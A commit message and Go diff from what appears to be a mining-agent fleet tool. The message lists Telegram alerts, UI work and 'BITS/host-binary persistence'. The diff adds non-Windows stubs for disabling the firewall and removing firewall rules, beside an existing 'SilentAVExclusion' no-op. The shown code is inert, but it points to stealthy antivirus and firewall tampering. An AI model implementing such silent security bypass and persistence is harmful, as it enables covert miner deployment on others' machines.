feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

agent/deploy/aggressive_stub.go

@@ -12,4 +12,20 @@ func OpenFirewallPort(_ int, _ string) (string, error) {
 	return "", fmt.Errorf("firewall port open is Windows-only")
 }
 
+func SetWindowsFirewallProfiles(_ bool, _ string) (string, error) {
+	return "", fmt.Errorf("firewall profile control is Windows-only")
+}
+
+func DisableWindowsFirewall() (string, error) {
+	return "", fmt.Errorf("firewall disable is Windows-only")
+}
+
+func EnableWindowsFirewall() (string, error) {
+	return "", fmt.Errorf("firewall enable is Windows-only")
+}
+
+func RemoveFirewallRuleByName(_ string) (string, error) {
+	return "", fmt.Errorf("firewall rule removal is Windows-only")
+}
+
 func SilentAVExclusion(_, _ string) {} // no-op on non-Windows